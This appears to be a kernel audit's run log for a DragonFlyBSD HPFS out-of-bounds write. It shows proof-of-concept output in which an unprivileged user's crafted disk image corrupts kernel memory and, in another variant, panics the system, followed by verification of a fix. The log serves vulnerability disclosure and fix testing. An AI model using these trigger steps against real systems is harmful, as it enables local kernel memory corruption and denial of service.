⬢ DragonFlyBSD Kernel Audit
DF-3141 / run.log
← back to finding ↓ download raw
=== DF-3141 runs (all triggers as unprivileged uid 1001 = maxx) ===
Guest: DragonFly dfbsd 6.5-DEVELOPMENT #0/#2 (stock INVARIANTS and diag
builds), 4 GB, 6 vCPU, QEMU/KVM, no SMAP/SMEP/KASLR.

--- [stock kernel #0] corruption attempt v1 (close()-based reclaim) ---
mounted /dev/vn0 on /tmp/hpfsmp (RW)
uid=1001(maxx) gid=1001(maxx) groups=1001(maxx)
open A ok ... pwrite B "YYYYYYYY" = 8 ... B reads back: YYYYYYYY
ftruncate(A, 0) ok -> H_CHANGE ; close A ; B after close(A): YYYYYYYY (x10)
-> update deferred (namecache holds a vnode ref after close); on-disk
   sector 0x49 after umount: YYYYYYYY01234567 (update ran at umount AFTER
   the page flush; the OOB bytes landed on a clean page and were lost)

--- [diag kernel #2] corruption run v3 (decisive, kernel-observed) ---
B initial content : XXXXXXXX (crafted image bytes read first, fills page+512)
open A ok          -> DFCHK vget ino=48 tail8=5858585858585858 sizeof(fnode)=520
pwrite B "YYYYYYYY" -> DFCHK wr loff=37376
ftruncate(A, 0) ok -> H_CHANGE
umount (drives reclaim -> hpfs_update):
  DFCHK upd pre  ino=48 b_data=0xfffff80056146000 tail8=5959595959595959
  DFCHK upd post ino=48 tail8=5858585858585858 hfn_tail=5858585858585858
  ==> the bcopy overwrote the 8 bytes past the 512-byte buffer with the
      attacker-crafted tail; post == hfn_tail exactly.
on-disk sector 0x49: YYYYYYYY01234567 (umount-time ordering: flush ran
before the update's write, so the OOB bytes landed on a clean page and
were never written back — in-memory corruption only in this timing)

--- [diag kernel #2] panic variant ---
stat /tmp/hpfsmp/FILE (fnode LSN 0x4F = page+0xE00) as uid 1001
=> Fatal trap 12, supervisor read, page not present, fault VA exactly
   page+0x1000, Stopped at memmove+0x95 (the vget bcopy).  See panic.txt.
   Guest dead (db> prompt), force-kill required.

--- [fix kernel: fn_int 0x13c->0x138] same triggers ---
corr : DFCHK vget ... sizeof(fnode)=512 ; B stays YYYYYYYY everywhere;
       DFCHK upd pre tail8=5959595959595959 / upd post tail8=5959595959595959
       (no change past the buffer) ; on-disk 0x49: YYYYYYYY01234567 ; UMOUNT_OK
panic: stat returned, size=512 (no panic) ; GUEST_STILL_UP ; UMOUNT_OK